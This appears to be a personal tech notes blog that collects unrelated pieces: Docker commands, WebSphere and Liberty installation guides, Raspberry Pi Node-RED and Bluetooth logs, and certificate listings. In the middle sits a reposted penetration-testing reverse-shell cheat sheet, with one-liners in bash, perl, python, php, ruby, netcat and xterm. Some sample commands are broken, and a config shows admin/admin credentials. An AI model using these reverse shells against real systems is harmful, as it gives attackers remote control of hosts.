WebSphere Commerce Server

  • Course introduction – Done
  • Unit 1. Installing and Configuring WebSphere Commerce – Done
  • Exercise 1. Install and Configure WebSphere Commerce V7
  • Unit 2. Administering WebSphere Commerce
  • Unit 3. Deploying WebSphere Commerce stores
  • Exercise 2. Publish a sample store
  • Unit 4. Troubleshooting and Performance Monitoring
  • Unit 5. Managing organizations and users
  • Unit 6. Web services and the Messaging infrastructure
  • Exercise 3. Configure the job scheduler and message infrastructure
  • Unit 7. The Loader Utility and Updating WebSphere Commerce stores
  • Exercise 4. Update WebSphere Commerce stores
  • Unit 8. Ongoing Maintenance
  • Exercise 5. Maintain a WebSphere Commerce store
  • Unit 9. Performance
  • Unit 10. Search engine optimization
  • Exercise 6. Optimize a store for search engine
  • Unit 11. Installing and Configuring Mobile and Social Commerce Features
  • Exercise 8. Install and configure Mobile and Social Commerce features
  • Unit 12. Administering Add-on Features
  • Unit 13. Administering the payment infrastructure
  • Exercise 9. Administer Add-on Features (Optional)
  • Unit 14. Security
  • Exercise 10. Establish security in a WebSphere Commerce site
  • Unit 15. Course summary



Comandos mais utilizados no Docker

Como eu sei quais as imagens disponíveis no meu repositório local?

docker stats id_do_container

Veremos informações como:

  • CONTAINER – ID do Container
  • CPU % – uso de CPU em porcentagem
  • MEM USAGE / LIMIT – Memória usada/Limite que você pode ter setado
  • MEM – uso de memória em porcentagem
  • NET I/O – I/O de Internet
  • BLOCK IO – Outros processos de I/O.

docker inspect id_container

Esse comando trás muita informação útil, então é bom dar uma olhada na documentação oficial para não se perder pelas linhas!

Commitar alterações em uma imagem

As alterações que você faz em um container, durante sua execução, não são salvas, a menos que você gere uma nova imagem com base nesse container.

Para commitar o que você fez em uma imagem, utilize o comando commit:

docker commit id_da_nova_imagem

Ele vai gerar uma nova imagem a partir desse commit.

Mapeando uma porta para o container

Usamos o comando -p:

docker run -it -p 8080:80 ubuntu

Bem útil para listar uma porta para um servidor web:

docker run -it -p 8080:80 nginx

Estamos informando que a porta 8080 no Host é aberta e deve ser mapeada na porta 80 do container.

Montar containers auto destrutivos

Usando o comando --rm, podemos montar containers que se destroem ao sairmos da sessão.

Exemplo utilizando o NGINX.

docker run -it --rm -p 8080:80 nginx /bin/bash

Ao usar um exit para sair do Terminal do SO rodando no container, o mesmo será removido.

Executando containers em segundo plano

Podemos executar o container e deixar ele em segundo plano, sem precisar ficar conectado pelo Shell, com o comando -d.

Exemplo utilizando o NGINX.

docker run -d -p 8080:80 nginx /usr/sbin/nginx -g

Para controlar esse container usamos os comandos stop e start:


docker stop id_container

docker start id_container

Esses são os comandos mais básicos para sobreviver os primeiros dias com o Docker, depois vai ficar fixado na cabeça e é só alegria.

creditos: https://woliveiras.com.br/posts/comandos-mais-utilizados-no-docker/

How to Connect Raspberry Pi to Laptop Display

Reverse Shell Cheat Sheet

Credits http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Reverse Shell Cheat Sheet

If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.

If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port.  This page deals with the former.

Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.

The examples shown are tailored to Unix-like systems.  Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.

Each of the methods below is aimed to be a one-liner that you can copy/paste.  As such they’re quite short lines, but not very readable.


Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/ 0>&1


Here’s a shorter, feature-free version of the perl-reverse-shell:

perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

There’s also an alternative PERL revere shell here.


This was tested under Linux / Python 2.7:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…

php -r '$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

If you want a .php file to upload, see the more featureful and robust php-reverse-shell.


ruby -rsocket -e'f=TCPSocket.open("",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

nc -e /bin/sh 1234

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f


r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

[Untested submission from anonymous reader]


One of the simplest forms of reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you ( on TCP port 6001.

xterm -display

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):

Xnest :1

You’ll need to authorise the target to connect to you (command also run on your host):

xhost +targetip

Further Reading

Also check out Bernardo’s Reverse Shell One-Liners.  He has some alternative approaches and doesn’t rely on /bin/sh for his Ruby reverse shell.

There’s a reverse shell written in gawk over here.  Gawk is not something that I’ve ever used myself.  However, it seems to get installed by default quite often, so is exactly the sort of language pentesters might want to use for reverse shells.

Tags: , , , , , , , , ,

Posted in Shells


Node-red on raspberry:

# bash <(curl -sL https://raw.githubusercontent.com/node-red/raspbian-deb-package/master/resources/update-nodejs-and-nodered)

$ update-nodejs-and-nodered

This script will remove any pre-installed versions of node.js and Node-RED
and replace them with node.js 6.x LTS (boron) and the latest Node-RED from Npm.
To do this it runs commands as root – please satisfy yourself that this will
not damage your Pi, or otherwise compromise your configuration.

Doing this may also be 'a bad thing' if you have installed lots of extra nodes.
Especially if they have any native binary component. Some nodes in your
~/.node-red directory will probably need to be re-installed afterwards, some
may need you to run npm update, and some may require you to run npm rebuild.

Are you really sure you want to do this ? (y/N) ? y

Running for user pi at /home/pi

This can take 20-30 minutes on a Pi 1 – please wait.

Stop Node-RED ✔
Remove old version of Node-RED ✔
Using N to manage node.js +
Update node.js LTS ✔ Node v8.9.1 Npm 5.5.1
Clean npm cache ✔
Install Node-RED core ✔ 0.17.5
Install extra nodes ✔
Install serialport node ✔
Npm rebuild existing nodes ✔
Add menu shortcut ✔
Update systemd script ✔
Update update script ✔

Any errors will be logged to /var/log/nodered-install.log

All done.
You can now start Node-RED with the command node-red-start
or using the icon under Menu / Programming / Node-RED
Then point your browser to localhost:1880 or http://{your_pi_ip-address}:1880

Started Mon 20 Nov 18:00:26 UTC 2017 – Finished Mon 20 Nov 18:07:24 UTC 2017

$ node-red-start
$ cd ~/.node-red
$ npm rebuild
$ sudo systemctl enable nodered.service


The problem: Nov 20 12:26:17 raspberrypi bluealsa[554]: /usr/bin/bluealsa: BT socket write error: Resource temporarily unavailable

Anker Bluetooth:

pi@raspberrypi:~ $ hcitool dev
hci0 B8:27:EB:E2:6A:19
pi@raspberrypi:~ $ info B8:27:EB:E2:6A:19
pi@raspberrypi:~ $ bluetoothctl
[NEW] Controller B8:27:EB:E2:6A:19 raspberrypi [default]
[NEW] Device FC:58:FA:C4:68:8B Anker A7910
[Anker A7910]# devices
Device FC:58:FA:C4:68:8B Anker A7910
[Anker A7910]# power on
Changing power on succeeded
[Anker A7910]# pairable on
Changing pairable on succeeded
[Anker A7910]# discoverable on
Failed to set discoverable on: org.bluez.Error.Failed
[Anker A7910]# devices
Device FC:58:FA:C4:68:8B Anker A7910
[Anker A7910]# paired-devices
Device FC:58:FA:C4:68:8B Anker A7910
[Anker A7910]# agent on
Agent registered
[Anker A7910]# default-agent
Default agent request successful
[Anker A7910]# trust FC:58:FA:C4:68:8B
Changing FC:58:FA:C4:68:8B trust succeeded
[Anker A7910]# pair FC:58:FA:C4:68:8B
Attempting to pair with FC:58:FA:C4:68:8B
Failed to pair: org.bluez.Error.AlreadyExists
[Anker A7910]# paired-devices
Device FC:58:FA:C4:68:8B Anker A7910
[Anker A7910]# connect FC:58:FA:C4:68:8B
Attempting to connect to FC:58:FA:C4:68:8B
Connection successful
[Anker A7910]# exit
Agent unregistered
[DEL] Controller B8:27:EB:E2:6A:19 raspberrypi [default]
pi@raspberrypi:~ $ alsamixer (set volume to 85% - normal)
-bash: syntax error near unexpected token `set'
pi@raspberrypi:~ $ alsamixer
pi@raspberrypi:~ $ alsamixer
pi@raspberrypi:~ $ sudo apt-get install omx
pi@raspberrypi:~ $ sudo reboot

IBM WebSphere ND Installation & Upgrade


How to Install IBM WebSphere and apply Fix Pack?

Procedure to install IBM WebSphere 8.5.5. Network Deployment and apply Fix Pack.


In order to install WebSphere ND, you must have product downloaded from IBM or some organization will have a custom package built by their engineering team. In either way – you should have the product package ready to get it installed.

To install WebSphere, you will also need IBM Installation Manager. IBM Installation Manager is needed to install WebSphere. If you are working on WebSphere ND 7 then it’s something new for you, as it was not needed in prior to WebSphere 8 ND. IM is also required to apply fix pack in WebSphere 8.5.5 version.

Component Version Supported Matrix

You will also need to check the supported matrix as listed below for Java SE, Java EE, Servlet, JSP, JSF, EJB, JMS, JDBC. Usually, a developer will confirm this.

  8.5.5 8.5 8.0 7.0 6.1
Java SE 6 & 7 6 & 7 6 6 5
Java EE 6 6 6 5 1.4
Servlet 3.0 3.0 3.0 2.5 2.4
JSP 2.2 2.2 2.2 2.1 2.0
JSF 2.0 2.0 2.0 1.2 1.1
EJB 3.1 3.1 3.1 3.0 3.0
JMS 1.1 1.1 1.1 1.1 1.1
JDBC 4.1 4.0 4.0 4.0 3.0

BONUS (Download in PDF Format): WebSphere ND 8.5.5 Installation & Upgrade Guide

Downloading IBM Installation Manager

IBM IM can be downloaded from IBM website as explained here. Keep in mind you need to have IBM ID in order to download the IBM IM and WebSphere.

If you don’t have one, you can create one by registering yourself at


I assume you have IBM ID ready. Let’s start downloading IBM IM.

  • Open your favorite Internet browser
  • Download IBM IM 1.8.3 by clicking here
  • Select the one based on your platform. In this demonstration, I will proceed with Linux 64 bit.

  • Click on “Continue” and you will be given an option to either download using Download Director or using a browser (HTTPS).

  • Click on “Continue” to get the download link.

  • Click on the link to start downloading. It may take few minutes based on your Internet speed.
  • Once downloaded, you should have the following file

Downloading WebSphere 8.5.5 ND

IBM offers 60 days trial for WebSphere ND Full profile, which I will use in this demonstration.

  • Open your favorite Internet browser
  • Access the following link
  • You will see many products listed here, but following three is in our interest.

  • Click on “Download now” for all three parts. It may take few minutes based on your Internet speed.
  • Once downloaded, you should have following three files.

Installing IBM Installation Manager

  • Go to the path where you have downloaded the IBM IM Zip file
  • unzip the file by using unzip command
unzip agent.installer.linux.gtk.x86_64_1.8.3000.20150606_0047.zip
  • Once extracted, you should see following

Let’s start the installation by executing install file


It will start installation process in GUI mode, click on Next 

  • Accept the license agreement and click Next

By default, it will install in /opt/IBM however, if you wish to change the directory, you can change it in this screen. 

  • Review the installation summary information and click on Install to begin the installation.
  • If you wish to change anything (like a path), you can click on Back and do so.

It may take few seconds and give you confirmation on the package was installed. 

You can close the window by clicking on a Close button.

Installing WAS 8.5.5 ND

Installation in GUI mode is easy and recommended for new WebSphere learner.

  • Go to the path where you have downloaded the following zip files.
  • Extract them by using unzip command
unzip was.repo.8550.ndtrial_part3.zip
unzip was.repo.8550.ndtrial_part3.zip
unzip was.repo.8550.ndtrial_part3.zip
  • Once extracted, you should have following

Let’s launch IBM Installation Manager to install the WebSphere ND.

Go to the path where you have installed IM. If you haven’t changed the path from default value then; 

cd /opt/IBM/InstallationManager/eclipse/
  • Execute IBMIM to launch it
  • You will get Installation Manager wizard likes below

  • Click on File >> Preferences
  • Click on Add Repository
  • Click on Browse to select the repository.config file. Repository.config file will be available in a path where you have extracted the downloaded WebSphere zip file.

  • Click Ok and Ok again.

You have successfully configured repository.config, which is necessary to begin the installation. Click on Install icon on the wizard. 

  • Select the checkbox before version and click on Next

  • Accept the license agreement and click Next

  • Select the resource directory and click Next. You may leave it to the default path.

  • Select the path where WebSphere will be installed. If you are happy with installing under /opt/IBM/WebSphere then leave it to default path and click on Next

  • Select the language translation if needed, click on Next

  • You can choose the features to be installed in next screen. Most of the time you want to proceed with “Sample applications” as it helps administrator to deploy and test the environment. Click on Next


Finally, you will get review summary information. You can click on Back if anything to be changed else click on Install 

It may take few minutes to install and once completed, you will have following confirmation.

  • Select “None” and click on Finish

Great, so now you are familiar with WebSphere Installation procedure.

Applying WebSphere Fix Pack 

One of the essential tasks for WebSphere administrator is to ensure technology stack in a production environment is up-to-date. There are many including security, feature enhancements & bug fixes are released by IBM.

Downloading fix pack

Fix pack 6 is the latest pack available for WebSphere 8.5.5 which is shown in below demonstration.

  • Open your favorite Internet browser
  • Access the following link
  • Select the zip file for your desired platform. I am using Linux, so I will proceed with the download for “Distributed” platform.

Fix pack 6 is available in two parts so you got to download both of them as shown below and click on Continue

  • Log in with your IBM ID to download the fix pack

  • Click on each file (part 1 & part 2) to download

  • Once downloaded, you should have the following file

Installing Fix Pack

Go to the path where you have downloaded the fix pack zip file

  • Extract them by using unzip command
unzip 8.5.5-WS-WAS-FP0000006-part1.zip
unzip 8.5.5-WS-WAS-FP0000006-part2.zip

Before you proceed to apply fix pack, you have to ensure WAS is not running. It would be also a good idea to take an entire WebSphere backup if you are doing in a critical environment.

  • Launch IBM Installation Manager
  • Click on File >> Preferences
  • Click on Add Repository
  • Click on Browse and select repository.config, which you got above after extracting fix pack
  • Click on OK

  • You should have something like below, click on OK to continue

  • Click Next

It will give you confirmation that Version is recognized in a repository.config file. Click on Next

  • Accept the terms and click next

  • Here you can customize the features if you wish. Click on Next

  • Review the summary information and click on Update

It will take few minutes and at the end, you will have success message as shown below.

This indicates you have applied Fix Pack 6 on 8.5.5 version and now WAS version is

I hope this helps you to understand the IBM WebSphere installation procedure.

Credits to Chandan Kumar

The Cognitive Scheduling


Name: The Cognitive Scheduling

Automation to re-schedule cancelled appointments.

More than 25 millions of doctor appointments are scheduled per year. Because of no-show, the loss in the pillar Psyquiatric is between 11 and 19 millions of dollars per year.

Because of this, the automation solve problem recorrences of Doctors, Therapists, Meetings, Beauty Salon and others.

Know more:

DEMO: https://www.youtube.com/watch?v=I3r-gqG3NYo
SWOT: https://prezi.com/p/35zkia3bxrcx/
GitHub: https://github.com/wagnersouz4/cognitive-scheduling

Share our project: https://ibm.biz/cognitivescheduling



Administrative Console in the IBM WebSphere Liberty Profile running on Raspberry Pi


Skill Level: Any Skill Level

Here you will learn step-by-step on how to install and configure the Administrative Console in the IBM WebSphere Liberty Profile.


Download the IBM WebSphere Liberty Profile

Operational System can be IBM AIX, other Unix-like, Windows or z/OS.


  1. Extract the IBM WebSphere Liberty Profile

    After to download the IBM WebSphere Liberty Profile, so-called WLP, from IBM’s site, just extract to some folder.

    You must not have root’s privilege to run the WLP.


    $ unzip wlp-webProfile7-
  2. Create an encrypted password for keyStore’s certificate

    This password is used by WLP in order to load the certificate over HTTPS instance. It is a must have for Administrative Console.

    The tool securityUtility is going to be used, with the parameter encode and –encoding=aes. At this time, AES cryptography is used.


    $ wlp/bin/securityUtility encode --encoding=aes igormonteirovieiraaa
    Result: "{aes}ALdLTXUQf7HvUNqRxxFT4yDSMGMUw6Oe5TcawHZAK8LRGNlivTITq3km/Mc82t7EVA=="
  3. Installing the adminCenter-1.0, an Administrative Console for IBMe WebSphere Liberty Profile

    The IBM WebSphere Liberty Profile comes with less features installed as possible, in order to be the most lightweight and secure Application Server in the market and for administrative’s purposes.

    In order to get Administrative Console, the correspondent package is adminCenter and must be installed through the following way:


    $ wlp/bin/installUtility install adminCenter-1.0
  4. Creating the server.xml for IBM WebSphere Liberty Profile

    At this time, the previous libraries were added to the filesystem and the WLP’s server.xml is bound to be created. A start is required to get these settings valid.


    $ wlp/bin/server start


    After this start, the server.xml was created underneath wlp/usr/servers/defaultServer/.

  5. Loading the Administrative Console

    Everytime either a module, library or plugin is installed through installUtility application, it must be pointed into server.xml.

    As best practice, better to stop the WLP before changing these parameters.


    $ wlp/bin/server stop


    To include the new features in the server.xml:


    $ vi wlp/usr/servers/defaultServer/server.xml




    <basicRegistry id="basic">
     <user name="admin" password="admin"/>
     <user name="nonadmin" password="nonadmin"/>
    <keyStore id="defaultKeyStore" password="{aes}ALdLTXUQf7HvUNqRxxFT4yDSMGMUw6Oe5TcawHZAK8LRGNlivTITq3km/Mc82t7EVA==" />
  6. Starting the Administrative Console wlp/bin/server start


    1. installUtility used to install:
      1. adminCenter-1.0
    2. server.xml configured with:
      1. adminCenter-1.0 as feature
      2. ssl-1.0 as feature
      3. administrative-role
      4. basicRegistry
      5. keyStore


    Starting the server:


    $ wlp/bin/server start

    The log is placed underneath wlp/usr/servers/defaultServer/logs/. There are two, console.log and messages.log. In case of error, ffdc will be created as well. Expected console.log:

    $ tail -f wlp/usr/servers/defaultServer/logsconsole.log 
    Launching defaultServer (WebSphere Application Server on Java HotSpot(TM) Client VM, version 1.8.0_65-b17 (en_US)
    [AUDIT ] CWWKE0001I: The server defaultServer has been launched.
    [AUDIT ] CWWKE0100I: This product is licensed for development, and limited production use. The full license terms can be viewed here: https://public.dhe.ibm.com/ibmdl/export/pub/software/websphere/wasdev/license/base_ilan/ilan/
    [AUDIT ] CWWKZ0058I: Monitoring dropins for applications. 
    [AUDIT ] CWWKF0012I: The server installed the following features: [jsp-2.3, ejbLite-3.2, managedBeans-1.0, servlet-3.1, jsf-2.2, beanValidation-1.1, ssl-1.0, jndi-1.0, appSecurity-2.0, jsonp-1.0, jdbc-4.1, jaxrs-2.0, restConnector-1.0, el-3.0, jaxrsClient-2.0, json-1.0, jpaContainer-2.1, adminCenter-1.0, cdi-1.2, distributedMap-1.0, webProfile-7.0, websocket-1.1, jpa-2.1].
    [AUDIT ] CWWKF0011I: The server defaultServer is ready to run a smarter planet.
    [AUDIT ] CWWKT0016I: Web application available (default_host):
    [AUDIT ] CWWKT0016I: Web application available (default_host):
    [AUDIT ] CWWKT0016I: Web application available (default_host):
    [AUDIT ] CWWKT0016I: Web application available (default_host):
    [AUDIT ] CWWKT0016I: Web application available (default_host):
    [AUDIT ] CWPKI0803A: SSL certificate created in 31.868 seconds. SSL key file: /home/pi/wlp/usr/servers/defaultServer/resources/security/key.jks


  7. Accessing the Administrative Console of the IBM WebSphere Liberty Profile

    To specific an IP to the URL, the parameter host=”IP” must be inserted in the server.xml at the tag httpEndpoint. The server.xml‘s content must looks like:

     <httpEndpoint id="defaultHttpEndpoint" host=""
     httpsPort="9443" />

    A restart may be required in case of changing this IP.

    Use the URL http://localhost:9080/adminCenter/.

    IBM WebSphere Liberty Profile, Administrative Console

Certificate Management

gskcmd -cert -add -db file.kdb -pw password -label labelname -trust enable -file file.cer


Listing contents of new certificate:

# openssl x509 -in cert.crt -text -noout
Version: 3 (0x2)
Serial Number:
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA – G4
Not Before: May 23 00:00:00 2016 GMT
Not After : Aug 7 23:59:59 2017 GMT
Subject: C=, ST=, L=, O=, OU=, CN=
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Alternative Name:
X509v3 Basic Constraints:
X509v3 Key Usage: critical
Digital Signature, Key Encipherment
X509v3 Extended Key Usage:
TLS Web Server Authentication, TLS Web Client Authentication
X509v3 Certificate Policies:
CPS: https://d.symcb.com/cps
User Notice:
Explicit Text: https://d.symcb.com/rpa

X509v3 Authority Key Identifier:

X509v3 CRL Distribution Points:

Full Name:

Authority Information Access:
OCSP – URI:http://ss.symcd.com
CA Issuers – URI:http://ss.symcb.com/ss.crt

g..OO…..T.y^……F0D. c.TG…_8M…..L..X..>c.5…+.S.. |C..-..jfIf.S.Z.[EhRC…9LH6..1N
Signature Algorithm: sha256WithRSAEncryption


Listing contents of CSR:

# openssl req -text -noout -verify -in cert.csr
verify OK
Certificate Request:
Version: 0 (0x0)
Subject: C=, ST=, L=, O=, OU=, CN=
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Exponent: 65537 (0x10001)
Requested Extensions:
X509v3 Subject Alternative Name:
X509v3 Extended Key Usage: critical
TLS Web Server Authentication
X509v3 Key Usage: critical
Key Encipherment, Key Agreement
Signature Algorithm: sha256WithRSAEncryption